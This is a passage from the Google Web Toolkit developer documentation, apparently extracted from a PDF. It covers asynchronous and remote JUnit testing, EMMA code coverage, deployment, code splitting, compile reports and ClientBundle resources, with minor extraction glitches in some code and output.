GWT's JUnit integration provides special support for testing functionality that cannot be executed in straight-line code. For example, you might want to make an RPC call to a server and then validate the response. However, in a normal JUnit test run, the test stops as soon as the test method returns control to the caller, and GWT does not support multiple threads or blocking. To support this use case, GWTTestCase has extended the TestCase API. The two key methods are GWTTestCase.delayTestFinish(int) and GWTTestCase.finishTest(). Calling delayTestFinish() during a test method's execution puts that test in asynchronous mode, which means the test will not finish when the test method returns control to the caller. Instead, a delay period begins, which lasts the amount of time specified in the call to delayTestFinish(). During the delay period, the test system will wait for one of three things to happen: 1. If finishTest() is called before the delay period expires, the test will succeed. 2. If any exception escapes from an event handler during the delay period, the test will error with the thrown exception. 3. If the delay period expires and neither of the above has happened, the test will error with a TimeoutException. The normal use pattern is to setup an event in the test method and call delayTestFinish() with a timeout significantly longer than the event is expected to take. The event handler validates the event and then calls finishTest().
Example
public void testTimer() { // Setup an asynchronous event handler. Timer timer = new Timer() { public void run() { // do some validation logic // tell the test system the test is now done finishTest(); } }; // Set a delay period significantly longer than the // event is expected to take. delayTestFinish(500); // Schedule the event and return control to the test system. timer.schedule(100); }
The recommended pattern is to test one asynchronous event per test method. If you need to test multiple events in the same method, here are a couple of techniques: "Chain" the events together. Trigger the first event during the test method's execution; when that event fires, call delayTestFinish() again with a new timeout and trigger the next event. When the last event fires, call finishTest() as normal. Set a counter containing the number of events to wait for. As each event comes in, decrement the counter. Call finishTest() when the counter reaches 0.
361 / 469
4.13.4.
The GWTTestSuite mechanism has the overhead of having to start a development mode shell and servlet or compile your code. There is also overhead for each test module within a suite. Ideally you should group your tests into as few modules as is practical, and should avoid having tests in a particular module run by more than one suite. (Tests are in the same module if they return return the same value from getModuleName().) GWTTestSuite class re-orders the test cases so that all cases that share a module are run back to back. Creating a suite is simple if you have already defined individual JUnit TestCases or GWTTestCases. Here is an example:
public class MapsTestSuite extends GWTTestSuite { public static Test suite() { TestSuite suite = new TestSuite("Test for a Maps Application"); suite.addTestSuite(MapTest.class); suite.addTestSuite(EventTest.class); suite.addTestSuite(CopyTest.class); return suite; } }
The three test cases MapTest, EventTest, and CopyTest can now all run in the same instance of JUnitShell.
java -Xmx256M -cp "./src:./test:./bin:./junit.jar:/gwt/gwt-user.jar:/gwt/gwt-dev.jar:/gwt/gwtmaps.jar" junit.textui.TestRunner com.example.MapsTestSuite
4.13.5.
Setting up and tearing down JUnit test cases that use GWT code
When using a test method in a JUnit TestCase, any objects your test creates and leaves a reference to will remain active. This could interfere with future test methods. You can override two new methods to prepare for and/or clean up after each test method. gwtSetUp() runs before each test method in a test case. gwtTearDown() runs after each test method in a test case.
The following example shows how to defensively cleanup the DOM before the next test run using gwtSetUp(). It skips over <iframe> and <script> tags so that the GWT test infrastructure is not accidentally removed.
import com.google.gwt.junit.client.GWTTestCase; import com.google.gwt.user.client.DOM; import com.google.gwt.user.client.Element; private static native String getNodeName(Element elem) /*-{ return (elem.nodeName || "").toLowerCase(); }-*/; /** * Removes all elements in the body, except scripts and iframes. */ public void gwtSetUp () { Element bodyElem = RootPanel.getBodyElement(); List<Element> toRemove = new ArrayList<Element>(); for (int i = 0, n = DOM.getChildCount(bodyElem); i < n; ++i) { Element elem = DOM.getChild(bodyElem, i); String nodeName = getNodeName(elem); if (!"script".equals(nodeName) && !"iframe".equals(nodeName)) { toRemove.add(elem); } } for (int i = 0, n = toRemove.size(); i < n; ++i) { DOM.removeChild(bodyElem, toRemove.get(i)); } }
362 / 469
4.13.6.
The webAppCreator tool provides a simple way to generate example launch configurations that can be used to run both development and production mode tests in Eclipse. You can generate additional launch configurations by copying it and replacing the project name appropriately. Alternatively, one can also directly generate launch configurations. Create a normal JUnit run configuration by rightclicking on the Test file that extends GWTTestCase and selecting Run as > JUnit Test. Though the first run will fail, a new JUnit run configuration will be generated. Modify the run configuration by adding the project's src and test directories to the classpath, like so: click the Classpath tab select User Entries click the Advanced button select the Add Folders radio button add your src and test directories
Launch the run config to see the tests running in development mode. To run tests in production mode, copy the development mode launch configuration and pass VM arguments (by clicking the Arguments tab and adding to the VM arguments textarea)
-Dgwt.args="-prod"
4.13.7.
HtmlUnit
HtmlUnit is an open-source GUI-less browser written in 100% Java. Because HtmlUnit does not involve any native code, debugging GWT Tests in development mode can be done entirely in a Java debugger. HtmlUnit does not require firing up a new browser process; the HtmlUnit browser instances just run as new threads.
RunStyle HtmlUnit
The HtmlUnit runstyle enables you to specify other browser emulations. By default, GWT runs HtmlUnit in the Firefox3 emulation mode. As of the 2.0 release, GWT has not been extensively tested on the other emulations that HtmlUnit supports, namely FF2, IE6, IE7, and IE8. Still, to use them, you can define the system property gwt.args, as explained before. For example, to cause tests to run both in FF3 and IE8 emulation mode, set gwt.args to:
-runStyle HtmlUnit:FF3,IE6
363 / 469
4.13.8.
Remote Testing
Running JUnit tests on remote systems 1. Introduction 2. Useful Arguments -prod -userAgents 3. Run Styles Manual Selenium Firefox Profile Remote Web
Introduction
This document explains how to run GWT tests on remote systems. There are three types of remote RunStyles that can help you run remote tests: Manual Selenium RemoteWeb
To use any of these run styles, you need to pass the -runStyle argument to the test infrastructure (see Passing Arguments to the Test Infrastructure). The format looks like this (see specific examples below):
-runStyle <NameStartingWithCaps>:arguments
If you are running a test from Eclipse, you would add something like the following to the VM arguments (Note that the run style name starts with a capital letter):
-Dgwt.args="-runStyle Selenium:myhost:4444/*firefox"
Useful Arguments
The following arguments are useful when running remote tests.
-prod
If you are not familiar with development mode versus production mode, you should read the associated tutorials on Compiling and Debugging first. All of the following examples assume that you are running tests in development mode, which requires that you have the Google Web Toolkit Developer Plugin installed. Its important to note that URLs must be whitelisted before this plugin will connect to them. This means that you must allow the remote connection on the remote system the first time you run the test, or ahead of time if possible. Tests run in development mode by default. You can run a test in production mode by adding -prod to the GWT arguments. When running tests in production mode, you do not need to have the Google Web Toolkit Developer Plugin installed on the remote system.
-Dgwt.args="-prod -runStyle Selenium:myhost:4444/*firefox"
-userAgents
When running tests in production mode, GWT compiles the tests for all browsers, which can take a while. If you know which browsers your test will run in, you can limit the browser permutations (and reduce compile time), using the -userAgents argument:
-Dgwt.args="-prod -userAgents ie6,gecko1_8 -runStyle Selenium:myhost:4444/*firefox"
364 / 469
Run Styles
Manual
The Manual run style allows you to run JUnit tests in any browser by directing the browser to a URL that GWT provides. For details, see Running tests in manual mode. In particular, manual mode can be used for remote testing the browser may be running on a computer different from the one where the tests were started.
Selenium
Recommended for Firefox, Safari, Google Chrome, and Internet Explorer (see note). Internet Explorer: You can try running Internet Explorer in Selenium as it is a supported browser. If the tests work for you, then you don't need to use the RemoteWeb runstyle at all, which should simplify your testing. However, we've found that Selenium does not always open Internet Explorer successfully on newer versions of Windows. If this happens, you can try passing the -singleWindow argument into Selenium, or you can use the RemoteWeb run style to test IE. GWT can execute tests against a remote system running the Selenium Remote Control. You do this using the following command:
-Dgwt.args="-runStyle Selenium:myhost:4444/*firefox,myotherhost:4444/*firefox"
In the above example, we are using the Selenium run style to execute a development mode test on Firefox against two remote systems (myhost and myotherhost). Note: On newer versions of Windows, if you run Selenium as an Administrator, you will not run tests in development mode because the Google Web Toolkit Developer Plugin is installed for the current user only. Firefox Profile By default, Selenium creates a new Firefox profile so it can prevent unnecessary popups that would otherwise mess up the test. However, you will probably want to create your own Firefox profile that includes the Google Web Toolkit Developer Plugin. To do this, run Firefox from the command line and pass in the -ProfileManager argument to open the Profile Manager:
firefox.exe -ProfileManager
Create a new profile (remember the location), and open it. Setup the profile however you want, making sure to install the Google Web Toolkit Developer Plugin. On our test systems, we use the following settings: Set a blank homepage Edit -> Preferences -> Main Set "When Firefox Starts" to "Show a blank page" Edit -> Preferences -> Security Under "Warning Messages" click "Settings" Uncheck all warnings Edit -> Preferences -> Advanced -> Update Uncheck all automatic updates Type 'about:config' in the browser bar Find browser.sessionstore.resume_from_crash and set it to false Find browser.sessionstore.enabled and set it to false (if it exists)
Disable warnings
Install the Google Web Toolkit Developer Plugin Whitelist the hosts that will launch the development mode code server. Since Selenium copies the profile for each test, you must do this now. If you do not, you will have to allow the remote connection for every test! Restart Firefox Tools -> Addons Select Google Web Toolkit Developer Plugin for Firefox Click "Options"
Add the IP address that you want to allow the plugin to connect to. When starting the selenium server, pass in the following argument to use your firefox profile as a template:
--firefoxProfileTemplate /path/to/profile
Remote Web
Recommended for Internet Explorer if Selenium does not meet your needs. See note Internet Explorer above. The RemoteWeb run style allows you to run tests against systems running the BrowserManagerServer, a server that GWT provides. First, you need to start the BrowserManagerServer on the remote test system using the following java command. Note that gwt-user.jar and gwt-dev.jar are on the classpath.
java -cp gwt-user.jar;gwt-dev.jar com.google.gwt.junit.remote.BrowserManagerServer ie8 "C:\Program Files\Internet Explorer\IEXPLORE.EXE"
BrowserManagerServer takes commands in pairs. In the above example, we are associating the name "ie8" with the executable iexplore.exe.
<browser name> <path/to/browser>
To run a test against IE8, you would use the following argument:
-runStyle RemoteWeb:rmi://myhost/ie8
366 / 469
4.13.9.
Code Coverage
For measuring code coverage, GWT supports EMMA, a widely used code coverage tool for Java code. To be able to interact with other EMMA tools, GWT uses EMMA in offline mode that is, GWT uses classes instrumented by EMMA over the classes it obtains by compiling the Java source files. We offer two ways of measuring code coverage: (i) using the EclEmma plugin in Eclipse and (ii) using command-line tools. For both techniques, use the EMMA jar from GWT's download page it includes a patch so that EMMA does not throw away the coverage data if the same class is loaded by different classloaders, as is common in GWT. 1. Example 2. Using EclEmma, the Eclipse plugin for EMMA 3. Using command-line tools
Example
As a running example, let us say we create a project with the provided webAppCreator and junitCreator tools as:
./webAppCreator -out myapp -junit ../../../../gwt-tools/lib/junit/junit-3.8.1.jar com.example.myapp.MyApp
Add the following computeFactorial() method to MyApp.java and the dummy testFactorial() method to MyAppTest.java
int computeFactorial(int number) { if (number 1) { return 1; } return number * computeFactorial(number - 1); } public void testFactorial() { }
Step 2: Create a "Run configuration" for running the tests in development mode
Follow instructions for running tests in Eclipse
367 / 469
This result is expected because, by default, the MyAppTest.java file does not exercise any of the application code. It has a simple test that returns true.
On running coverage, now we see that out of 13 instructions in the method computeFactorial (the figure below shows the total instructions in the computeFactorial method), 5 instructions are covered. (Note that these instructions are bytecode instructions.) Let us add another statement to testFactorial() for testing the factorial computation for numbers greater than 0 such that the method becomes: 368 / 469
On running coverage, now we see that coverage for the computeFactorial() method is indeed 100% as expected. The following screenshot of the Eclipse window shows the final coverage information. You can drill down on the individual class and methods to find the coverage information at the desired granularity. You can also export the coverage data to html or xml formats to keep track of your code coverage over time.
369 / 469
(The yellow text is the output of the tool. For convenience, we copied the patched EMMA jar as emma.jar in the current directory.)
cd myapp # step i: generate the class files ant devmode # step ii: use emma to instrument the class files, creates a coverage.em file java -cp emma.jar emma instr -m overwrite -cp war/WEB-INF/classes/com/example/myapp/client EMMA: EMMA: EMMA: EMMA: processing instrumentation path ... instrumentation path processed in 231 ms [5 class(es) instrumented, 0 resource(s) copied] metadata merged into [PARENT_DIR/samples/com/example/myapp/coverage.em] {in 17 ms}
# step iii: run the test code after putting the modified emma.jar in the classpath; generates a coverage.ec file ant test.dev EMMA: .. Time: OK (2 EMMA: ms} collecting runtime coverage data ... 12.968 tests) runtime coverage data merged into [PARENT_DIR/samples/com/example/myapp/coverage.ec] {in 22
# step iv: generate the coverage report HTML file java -cp emma.jar emma report -r html -in coverage.em,coverage.ec EMMA: processing input files ... EMMA: 2 file(s) read and merged in 13 ms EMMA: writing [html] report to [PARENT_DIR/samples/com/example/myapp/coverage/index.html] ...
Follow Step 4 of the EclEmma section to improve coverage. As you add more tests, you can see your coverage increasing.
370 / 469
4.14.1.
Deploying a GWT application to a web server is straightforward. All you need to do is copy the generated GWT application files after compilation and host them on your web server. You will also need to setup your server-side code, of course, and this setup can take on a number of different forms: communicating through JSONP and working with JSON data, server-side scripts that receive and parse HTTP requests sent through the GWT RequestBuilder, or GWT RPC (see "Deploying on a servlet container using RPC" section below). For an example of deploying GWT application files to a web server, suppose you want to deploy the DynaTable application on a web server, serving files from /web/apps/dynatable_app/. Once you've run the GWT compiler and generated the output in the war/dynatable directory, all you need to do is copy the host HTML page and stylesheet over to web/apps/dynatable_app/ and copy the contents of the war/dynatable subdirectory to /web/apps/dynatable_app/dynatable/. At this point, the application is deployed. However, there are a few important points to keep in mind to make sure your application is properly deployed: The host HTML page can actually reside anywhere on your web server. The bootstrap script can also reside anywhere on your web server. The GWT application files must reside in the same directory as the bootstrap script, since the script looks for the application files relative to its own location. The host HTML page must reference the bootstrap script in its appropriate location on the web server. Any public resources can also be placed anywhere on the web server, but these should ideally mirror the resources' path relative to the war folder during development. Otherwise, references to these resources might not hold when deployed (e,g, an Image widget referencing some .png file).
4.14.2.
Deploying a GWT application on a servlet container is also an easy process. Since the GWT compiler generates output in a directory structure that is already compliant to the Servlet 2.5 API specification, you can deploy your application from the output directory itself. It would be better practice to copy the output and deploy it to a separate directory on your servlet container, however. Referring to the DynaTable sample, deploying your project would involve copying the GWT compiler output to the following path on your servlet container:
webapps/dynatable/DynaTable.html webapps/dynatable/DynaTable.css webapps/dynatable/dynatable/dynatable.nocache.js // The rest of your GWT application files under webapps/dynatable/dynatable/
There are a few extra steps to take to make sure that your application is ready for deployment on the servlet container.
371 / 469
Class files
The build script generated by the webAppCreator utility automatically takes care of compiling your servlet classes and placing them in the war/WEB-INF/classes folder. However, it is possible that your resources may fall out of sync as you make changes to your server-side code that don't necessarily incur changes in your GWT client-side code, and hence you may forget to run the compiler to generate the new .class files for your servlet classes. In such cases, you could run the build script over your application code once more to generate the new .class files, but a simple javac would also suffice and probably take less time to compile. If the RPC service method signatures have changed, however, then you will need to re-compile your application with the GWT compiler. Any other server-side classes will also need to be placed in this directory, in accordance with the Servlet API specification.
web.xml
Any servlet you're using in your application, including GWT RPC servlets, will need to be defined in the web.xml file. In previous versions, GWT required you to define servlets in the module XML file in order for them to be resolved in development mode. This is no longer the case, and the web.xml file is used to configure servlets for both development mode and deployed production mode.
lib folder
The lib folder contains the various libraries (typically JAR and class files) that your application uses. Among the various server-side libraries your application uses, the gwt-servlet.jar should also go here if your application uses GWT RPC. The build.xml configuration file generated by the webAppCreator utility should take care of copying this resource to the lib directory for you. To copy other required libraries in the lib folder, you can either add them manually or update the build script to copy over libraries from your project classpath.
4.14.3.
Note: To run through the steps to deploy a GWT application to Google App Engine, see the tutorial Deploying to Google App Engine. Deploying your application on Google App Engine only takes a couple of steps. First, you need to compile your application with the GWT compiler to generate the application files in the standard war directory structure, then you can upload and deploy your application using the appcfg utility. If you used the webAppCreator to create your project, you can simply compile your application with:
ant build
and then deploy your application from the war output directory by invoking the appcfg utility with the update option:
<appengine_home_dir>/appcfg.sh update war
You will need to have your appengine-web.xml properly configured beforehand, as well as ensure that you have created a Google App Engine account and an application space for your GWT application. You can read the App Engine docs for more information.
372 / 469
Code Splitting
As an AJAX app develops, the JavaScript part of it tends to grow, eventually to the point that downloading and installing the JavaScript code adds significant time to the application's startup. GWT's code splitter can speed up the application's startup by allowing the application to start running before all of its code is installed.
Compile Report
When programming in GWT, it can sometimes be difficult to understand the compiled output. This is especially true for users of Code Splitting: why are some fragments bigger, some smaller? Our answer to these questions are Compile Reports. Compile Reports let GWT programmers gain insight into what happens in their application during the compile: how much output their code leads to, what Java packages and classes lead to large JavaScript output, and how the code is split up during Code Splitting. Equipped with this information, programmers can then modify their application in a targeted way in order to reduce the size of the entire compiled application or the size of certain fragments.
Client Bundle
The resources in a deployed GWT application can be roughly categorized into resources to never cache (.nocache.js), to cache forever (.cache.html), and everything else (myapp.css). Client Bundles allow you to move resources from the everything-else category into the cache-forever category.
Lightweight Metrics
The Lightweight Metrics system is a tool to find key areas where latency may be noticeable to your end users. It has very little overhead, can report metrics on application load time and RPC calls, you can profile multiple GWT modules at the same time, and can be extended for your own measurement needs. The Debug Panel for GWT uses the Lightweight metrics system. It provides an easy way to collect metrics and test your GWT application.
373 / 469
4.15.1.
Code Splitting
As an AJAX app develops, the JavaScript part of it tends to grow. Eventually, the code itself is often large enough that merely downloading and installing it adds significant time to the application's startup. To help with this issue, GWT provides Dead-for-now (DFN) code splitting. This article talks about what DFN code splitting is, how you start using it in an application, and how to improve an application that does use it. 1. 2. 3. 4. 5. Limitations How to use it Code-splitting development tools Specifying an initial load sequence Common coding patterns
Limitations
Code splitting is only supported with certain linkers. The default iframe linker is supported, but the cross-site linker is not yet. If you have changed your application to use a non-default linker, check whether that linker supports code splitting.
How to use it
To split your code, simply insert calls to the method GWT.runAsync at the places where you want the program to be able to pause for downloading more code. These locations are called split points. A call to GWT.runAsync is just like a call to register any other event handler. The only difference is that the event being handled is somewhat unusual. Instead of being a mouse-click event or key-press event, the event is that the necessary code has downloaded for execution to proceed. For example, here is the initial, unsplit Hello sample that comes with GWT:
public class Hello implements EntryPoint { public void onModuleLoad() { Button b = new Button("Click me", new ClickHandler() { public void onClick(ClickEvent event) { Window.alert("Hello, AJAX"); } }); RootPanel.get().add(b); } }
Suppose you wanted to split out the Window.alert call into a separate code download. The following code accomplishes this:
public class Hello implements EntryPoint { public void onModuleLoad() { Button b = new Button("Click me", new ClickHandler() { public void onClick(ClickEvent event) { GWT.runAsync(new RunAsyncCallback() { public void onFailure(Throwable caught) { Window.alert("Code download failed"); } public void onSuccess() { Window.alert("Hello, AJAX"); } }); } }); RootPanel.get().add(b); } }
In the place the code used to call Window.alert, there is now a call to GWT.runAsync. The argument to GWT.runAsync is a callback object that will be invoked once the necessary code downloads. Like with event handlers for GUI events, a runAsync callback is frequently an anonymous inner class.
374 / 469
That class must implement RunAsyncCallback, an interface declaring two methods. The first method is onFailure, which is called if any code fails to download. The second method is onSuccess, which is called when the code successfully arrives. In this case, the onSuccess method includes the call to Window.alert. With this modified version, the code initially downloaded does not include the string "Hello, AJAX" nor any code necessary to implement Window.alert. Once the button is clicked, the call to GWT.runAsync will be reached, and that code will start downloading. Assuming it downloads successfully, the onSuccess method will be called; since the necessary code has downloaded, that call will succeed. If there is a failure to download the code, then onFailure will be invoked. To see the difference in compilation, try compiling both versions and inspecting the output. The first version will generate cache.html files that all include the string "Hello, AJAX". Thus, when the app starts up, this string will be downloaded immediately. The second version, however, will not include this string in the cache.html files. Instead, this string will be located in cache.js files underneath the deferredjs directory. In the second version, the string is not loaded until the call to runAsync is reached. This one string is not a big deal for code size. In fact, the overhead of the runAsync run-time support could overwhelm the savings. However, you aren't limited to splitting out individual string literals. You can put arbitrary code behind a runAsync split point, potentially leading to very large improvements in your application's initial download size.
375 / 469
Overall sizes
The first thing to look at in a compile report is the overall size breakdown of your application. Compile reports break down your application size in four different ways: by Java package, by code type, by type of literals (for code associated with literals), and by type of strings (for code associated with string literals). By looking at these overall sizes, you can learn what parts of the code are worth paying more attention to when splitting. For that matter, you might well see something that is larger than it should be; in that case, you might be able to work on that part and shrink the total, pre-split size of the application.
Fragment breakdown
Since you are working on code splitting, you will next want to look at the way the application splits up. Click on any code subset to see a size breakdown of the code in that fragment. The total program option describes all of the code in the program. The other options all correspond to individual code fragments.
Dependencies
At some point you will try to get something moved out of the initial download fragment, but the GWT compiler will put it there anyway. Sometimes you can quickly figure out why, but other times it will not be obvious at all. The way to find out is to look through the dependencies that are reported in the compile report. The most common example is that you expected something to be left out of the initial download, but it was not. To find out why, browse to that item via the initial download code subset. Once you click on the item, you can look at a chain of dependencies leading back to the application's main entry point. This is the chain of dependencies that causes GWT to think the item must be in the initial download. Try to rearrange the code to break one of the links in that chain. A less common example is that you expected an item to be exclusive to some split point, but actually it's only included in leftover fragments. In this case, browse to the item via the total program code subset. You will then get a page describing where the code of that item ended up. If the item is not exclusive to any split point, then you will be shown a list of all split points. If you click on any of them, you will be shown a dependency chain for the item that does not include the split point 376 / 469
you selected. To get the item exclusive to some split point, choose a split point, click on it, and then break a link in the dependency chain that comes up.
This first argument must be a class literal, and it is ignored except to be used as a name for the call. Any class literal can be used. A common choice is to use the enclosing class that the call appears in. Once you have named your calls, you can specify an initial load sequence with lines like the following:
<extend-configuration-property name="compiler.splitpoint.initial.sequence" value="com.yourcompany.yourprogram.SomeClass"/>
The value part of the line specifies a split point. It is interpreted as a fully qualified class name that must match a literal used in exactly one runAsync call. For some applications, you will know not only the first split point reached, but also the second and maybe even the third. You can continue extending the initial load sequence by adding more lines to the configuration property. For example, here is module code to specify an initial load sequence of three split points.
<extend-configuration-property name="compiler.splitpoint.initial.sequence" value="com.yourcompany.yourprogram.SomeClass"/> <extend-configuration-property name="compiler.splitpoint.initial.sequence" value="com.yourcompany.yourprogram.AnotherClassClass"/> <extend-configuration-property name="compiler.splitpoint.initial.sequence" value="com.yourcompany.yourprogram.YetAnotherClass"/>
The down side to specifying an initial load sequence is that if the split points are reached in a different order than specified, then there will be an even bigger delay than before that code is run. For example, if the third split point in the initial sequence is actually reached first, then the code for that split point will not load until the code for the first two split points finishes loading. Worse, if some non-initial split point is actually reached first, then all of the code for the entire initial load sequence, in addition to the leftovers fragment, must load before the requested split point's code can load. Thus, think very carefully before putting anything in the initial load sequence if the split points might be reached in a different order at run time.
Async Provider
Frequently you will think of some part of your code as its own coherent module of functionality, and you'd like for that functionality to get associated with a GWT exclusive fragment. That way, its code will not be downloaded until the first time it is needed, but once that download happens, the entire module will be available. A coding pattern that helps with this goal is to associate a class with the module and then to make sure that all code in the module is reachable only by calling instance methods on that class. Then, you can arrange for the only instantiation of that class in the program to be within a runAsync. The overall pattern looks as follows.
377 / 469
public class Module { // public APIs public doSomething() { /* ... */ } public somethingElse() { /* ... */ } // the module instance; instantiate it behind a runAsync private static Module instance = null; // A callback for using the module instance once it's loaded public interface ModuleClient { void onSuccess(Module instance); void onUnavailable(); } /** * Access the module's instance. The callback * runs asynchronously, once the necessary * code has downloaded. */ public static void createAsync(final ModuleClient client) { GWT.runAsync(new RunAsyncCallback() { public void onFailure(Throwable err) { client.onUnavailable(); } public void onSuccess() { if (instance == null) { instance = new Module(); } client.onSuccess(instance); } }); } }
Whenever you access the module from code that possibly loads before the module, go through the static Module.createAsync method. This method is then an async provider: it provides an instance of Module, but it might take its time doing so. Usage note: for any code that definitely loads after the module, store the instance of the module somewhere for convenience. Then, access can go directly through that instance without harming the code splitting.
Prefetching
The code splitter of GWT does not have any special support for prefetching. Except for leftovers fragments, code downloads at the moment it is first requested. Even so, you can arrange your own application to explicitly prefetch code at places you choose. If you know a time in your application that there is likely to be little network activity, you might want to arrange to prefetch code. That way, once the code is needed for real, it will be available. The way to force prefetching is simply to call a runAsync in a way that its callback doesn't actually do anything. When the application later calls that runAsync for real, its code will be available. The precise way to invoke a runAsync to have it do nothing will depend on the specific case. That said, a common general technique is to extend the meaning of any method parameter that is already in scope around the call to runAsync. If that argument is null, then the runAsync callback exits early, doing nothing. For example, suppose you are implementing an online address book. You might have a split point just before showing information about that contact. A prefetchable way to wrap that code would be as follows:
public void showContact(final String contactId) { GWT.runAsync(new RunAsyncCallback() { public void onFailure(Throwable caught) { cb.onFailure(caught); } public void onSuccess() { if (contactId == null) { // do nothing: just a prefetch return; } // Show contact contactId... } }); }
Here, if showContact is called with an actual contact ID, then the callback displays the information about that contact. If, however, it is called with null, then the same code will be downloaded, but the callback won't actually do anything. 378 / 469
4.15.2.
Compile Report
When programming in GWT, it can sometimes be difficult to understand the compiled output. This is especially true for users of code splitting: why are some fragments bigger, some smaller? Our answer to these questions are Compile Reports. Compile Reports let GWT programmers gain insight into what happens in their application during the compile: how much output their code leads to, what Java packages and classes lead to large JavaScript output, and how the code is split up during code splitting. With this information, you can then modify their application in a targeted way in order to reduce the size of the entire compiled application or the size of certain fragments. A compile report can be produced during a regular GWT compile. It consists of a set of HTML pages that can easily be browsed and navigated and that provide a graphical representation of the application's compile. 1. 2. 3. 4. Goals Usage Features Use cases
Goals
Compile Reports give a graphical representation of a GWT application's compile. Compile Reports give the programmer enough information to: Be able to reduce their code size. Be able to reduce the size of specific fragments, in particular the initial download fragment. Be able to compare between permutations.
The information is displayed with a set of static HTML pages that are easy to navigate. Compile Reports are optionally and conveniently created during compile by simply setting a GWT compiler flag.
Usage
A Compile Report is not produced by default, but it is easy to get the compiler to do so by setting a compiler flag. When the flag is set, the GWT compiler gathers the necessary information during the compile and produces the Compile Report in the form of HTML files. The following compiler flags are available: -compileReport: produces a standard Compile Report (as documented here). By default, the report is written to a directory called extras/[moduleName]/soycReport/compile-report/. You can change the output directory with the -extra compiler flag. -XsoycDetailed: produces the standard Compile Report along with so-called "stories.xml" files that detail the connection between specific Java code snippets and JavaScript code snippets. The stories files most useful when investigating specific JavaScript snippets.
Users will generally want to begin browsing a Compile Report from file compile-report/index.html. This file will, by default, sit in directory compile-report unless the -extra compile flag is included.
379 / 469
Features
Overview of all permutations
The first screen a user will see is an overview of all the permutations that a particular Compile Report contains. Figure 1 below shows this overview screen. You can see that it lists the properties for each permutation, such as user agent, locale, etc.
Overall sizes
The first thing to look at in a compile report is the overall size breakdown of your application. Figure 2 shows an overview of one permutation. At the top, you can see the full code size, the initial download size, as well as the leftover code. The initial download size is the amount of code downloaded when the application is loaded. If no code splitting is used, it will be the same as the full code size, otherwise it will normally be much less. For more information on leftover code, please refer to the code splitting documentation. The links found just below the sizes lead to more detailed information on each of these sizes. Below this information, the Compile Report lists the sizes of the individual code fragments that were produced by Code Splitting.
380 / 469
381 / 469
Figure 3: Package breakdown This overview breakdown can be particularly useful, for example, to learn how much of the code size is caused by JRE code. For example, if you see that your use of java.util.HashSet causes your application to grow too big, you may find a way to do without java.util.HashSet in your code.
Dependencies
At some point you will try to get something moved out of the initial download fragment, but the GWT compiler will put it there anyway. Sometimes you can quickly figure out why, but other times it will not be obvious at all. The way to find out is to look through the dependencies that are reported in the Compile Report. The most common example is that you expected something (say, a class) to be left out of the initial download, but it was not. To find out why, browse to that class via the "initial download" code subset (from the Overview, click on the relevant permutation, then click on the "Report" link below "Initial download size". Then click on the class's package). Once you click on the class, you can look at a chain of dependencies leading back to the application's main entry point. This is the chain of dependencies that causes GWT to think the item must be in the initial download. Try to rearrange the code to break one of the links in that chain. A less common example is that you expected an item to be exclusive to some split point, but actually it's only included in leftover fragments. In this case, browse to the item via the "total program" code subset. You will then get a page describing where the code of that item ended up. If the item is not exclusive to any split point, then you will be shown a list of all split points. If you click on any of them, you will be shown a dependency chain for the item that does not include the split point you selected. To get the item exclusive to some split point, choose a split point, click on it, and then break a link in the dependency chain that comes up. Figure 4 shows an example of a call stack for one class. It shows how its methods can be traced back to an entry method, in this case onModuleLoad (the standard entry method for GWT modules).
382 / 469
383 / 469
Use cases
Compile Reports have four major use cases: To reduce download size To reduce download size of initial fragment To reduce download size of specific code fragments as produced by code splitting To compare between permutations, for example, differences between user agents
In the first three use cases, Compile Reports can be used to find out what code goes into what fragments, and what packages or classes get the most 'blame' for download size, that is, what packages or classes contribute most to the compiled code. How should programmers use Compile Reports to reduce their application's size? There are two basic approaches:
384 / 469
2. Set split points in order to eliminate some code from other fragments, for example from the initial download
Especially in the context of initial download size, consider some functionality (say, a 'Settings' tab) that is not strictly necessary for program startup. In order to cut this code from the initial fragment, the programmer may choose to set a split point around this functionality, so that its code is only downloaded when needed and thus cut from the initial fragment. The Compile Report may make it clear that this functionality adds sizeable amounts of code to the initial fragment, so that it would be worth eliminating from the initial download.
385 / 469
4.15.3.
Client Bundle
The resources in a deployed GWT application can be roughly categorized into resources to never cache (.nocache.js), to cache forever (.cache.html), and everything else (myapp.css). The ClientBundle interface moves entries from the everything-else category into the cache-forever category. 1. Overview 2. DataResource 3. TextResource and ExternalTextResource 4. ImageResource 5. GwtCreateResource 6. CssResource 7. CssResourceCookbook
4.15.3.1. Overview
Goals Examples I18N Pluggable Resource Generation Levers and knobs Resource types
Goals
No more uncertainty about whether your application is getting the right contents for program resources. Decrease non-determinism caused by intermediate proxy servers. Enable more aggressive caching headers for program resources. Eliminate mismatches between physical filenames and constants in Java code by performing consistency checks during the compile. Use 'data:' URLs, JSON bundles, or other means of embedding resources in compiled JS when browser- and size-appropriate to eliminate unneeded round trips. Provide an extensible design for adding new resource types. Ensure there is no penalty for having multiple ClientBundle resource functions refer to the same content.
Non-Goals
To provide a file-system abstraction
Examples
To use ClientBundle, add an inherits tag to your gwt.xml file:
<inherits name="com.google.gwt.resources.Resources" />
386 / 469
I18N
ClientBundle is compatible with GWT's I18N module. Suppose you defined a resource:
@Source("default.txt") public TextResource defaultText();
For each possible value of the locale deferred-binding property, the ClientBundle generator will look for variations of the specified filename in a manner similar to that of Java's ResourceBundle. Suppose the locale were set to fr_FR. The generator would look for files in the following order: 1. default_fr_FR.txt 2. default_fr.txt 3. default.txt This will work equally well with all resource types, which can allow you to provide localized versions of other resources, say ownersManual_en.pdf versus ownersManual_fr.pdf.
387 / 469
Resource types
These resource types are valid return types for methods defined in a ClientBundle: ImageResource CssResource DataResource ExternalTextResource GwtCreateResource TextResource Subclasses of ClientBundle (for nested bundles)
4.15.3.2. DataResource
A DataResource is the simplest of the resource types, offering a URL by which the contents of a file can be retrieved at runtime. The main optimization offered is to automatically rename files based on their contents in order to make the resulting URL strongly-cacheable by the browser. Very small files may be converted into data: URLs on those browsers that support them.
interface Resources extends ClientBundle { Resources INSTANCE = GWT.create(Resources.class); @Source("mycursor.cur") DataResource customCursor(); } // Elsewhere someDiv.getStyle().setProperty("cursor", "url(" + Resources.INSTANCE.customCursor().getUrl() + ")");
Resources that are not appropriate for being inlined into the compiled JavaScript as data: URLs will be emitted into the compilation output with strong names, based on the contents of the file. For example, foo.pdf will be given a name similar to ABC1234.cache.pdf. The webserver should be configured to serve any files matching the *.cache.* glob with publicly-cacheable headers and a far-future Expires header.
388 / 469
4.15.3.4. ImageResource
This section describes how ImageResource can tune the compile-time processing of image data and provide efficient access to image data at runtime. Goal Overview ImageOptions Supported formats
Goal
